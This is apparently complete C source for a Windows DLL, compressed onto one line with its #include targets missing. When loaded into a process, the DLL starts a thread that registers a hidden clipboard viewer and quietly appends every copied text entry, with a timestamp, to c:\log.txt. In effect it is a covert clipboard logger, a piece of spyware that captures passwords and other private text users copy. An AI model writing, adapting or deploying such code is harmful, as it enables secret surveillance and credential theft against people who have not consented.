#define WIN32_LEAN_AND_MEAN #include #include #define LOG_FILE_NAME "c:\\log.txt" LPCTSTR szWindowClass = _TEXT("ClipBoardGet"); LPCTSTR szTitle = _TEXT("ClipBoardGet Window"); DWORD WINAPI MainThread(LPVOID pData); ATOM MyRegisterClass(HINSTANCE hInstance); BOOL InitInstance(HINSTANCE); LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM); BOOL AddDataToFile(PTCHAR AddDataFile, PTCHAR AddData, PTCHAR strTime); BOOL APIENTRY DllMain( HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { HANDLE hThread; switch(ul_reason_for_call) { case DLL_PROCESS_ATTACH: if((hThread = CreateThread(NULL, 0, MainThread, (LPVOID)hModule, 0, NULL)) == NULL){ MessageBox(NULL, _TEXT("CreateThread"), _TEXT("Error"), MB_OK); return FALSE; } CloseHandle(hThread); break; } return TRUE; } DWORD WINAPI MainThread(LPVOID pData) { HINSTANCE hInstance = (HINSTANCE)pData; MSG msg; MyRegisterClass(hInstance); if (!InitInstance (hInstance)) { return FALSE; } BOOL bRet; while ((bRet = GetMessage(&msg, NULL, 0, 0)) != 0) { if(bRet == -1) { break; } if (!TranslateAccelerator(msg.hwnd, NULL, &msg)) { TranslateMessage(&msg); DispatchMessage(&msg); } } return (int) msg.wParam; } ATOM MyRegisterClass(HINSTANCE hInstance) { WNDCLASSEX wcex; wcex.cbSize = sizeof(WNDCLASSEX); wcex.style = CS_HREDRAW | CS_VREDRAW; wcex.lpfnWndProc = (WNDPROC)WndProc; wcex.cbClsExtra = 0; wcex.cbWndExtra = 0; wcex.hInstance = hInstance; wcex.hIcon = LoadIcon(hInstance, NULL); wcex.hCursor = LoadCursor(NULL, IDC_ARROW); wcex.hbrBackground = (HBRUSH)(COLOR_WINDOW+1); wcex.lpszMenuName = (LPCTSTR)NULL; wcex.lpszClassName = szWindowClass; wcex.hIconSm = LoadIcon(wcex.hInstance, NULL); return RegisterClassEx(&wcex); } BOOL InitInstance(HINSTANCE hInstance) { HWND hWnd; hWnd = CreateWindow(szWindowClass, szTitle, WS_OVERLAPPEDWINDOW, CW_USEDEFAULT, 0, CW_USEDEFAULT, 0, NULL, NULL, hInstance, NULL); if (!hWnd) { return FALSE; } return TRUE; } LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam) { static HWND ClipWnd = NULL; static TCHAR szLogFilePath[256]; switch (message) { case WM_CREATE: lstrcpy(szLogFilePath, _TEXT(LOG_FILE_NAME)); ClipWnd = SetClipboardViewer(hWnd); break; case WM_DRAWCLIPBOARD: if(OpenClipboard(hWnd) && GetClipboardData(CF_TEXT) != NULL) { SYSTEMTIME stTime; GetLocalTime(&stTime); TCHAR strTime[64]; wsprintf(strTime, _TEXT("\r\n\r\n--- %d:%d:%d_%d:%d:%d ---\r\n\r\n"), stTime.wYear, stTime.wMonth, stTime.wDay, stTime.wHour, stTime.wMinute, stTime.wSecond); HANDLE hText = GetClipboardData(CF_TEXT); PTCHAR pText = (PTCHAR)GlobalLock(hText); if(AddDataToFile(szLogFilePath, pText, strTime) == FALSE){ MessageBox(NULL, _TEXT("AddDataToFile"), _TEXT("Error"), MB_OK); } GlobalUnlock(hText); } CloseClipboard(); if(ClipWnd != NULL){ SendMessage(ClipWnd, message, wParam, lParam); } break; case WM_CHANGECBCHAIN: if((HWND)wParam == ClipWnd){ ClipWnd = (HWND)lParam; }else if(ClipWnd != NULL){ SendMessage(ClipWnd, message, wParam, lParam); } break; case WM_DESTROY: ChangeClipboardChain(hWnd, ClipWnd); PostQuitMessage(0); break; default: return DefWindowProc(hWnd, message, wParam, lParam); } return 0; } BOOL AddDataToFile(PTCHAR AddDataFile, PTCHAR AddData, PTCHAR strTime) { HANDLE hFile; if((hFile = CreateFile(AddDataFile, GENERIC_WRITE | GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL)) == INVALID_HANDLE_VALUE){ return FALSE; } SetFilePointer(hFile, 0, NULL, FILE_END); DWORD dwWrite; WriteFile(hFile, strTime, lstrlen(strTime), &dwWrite, NULL); WriteFile(hFile, AddData, lstrlen(AddData), &dwWrite, NULL); CloseHandle(hFile); return TRUE; }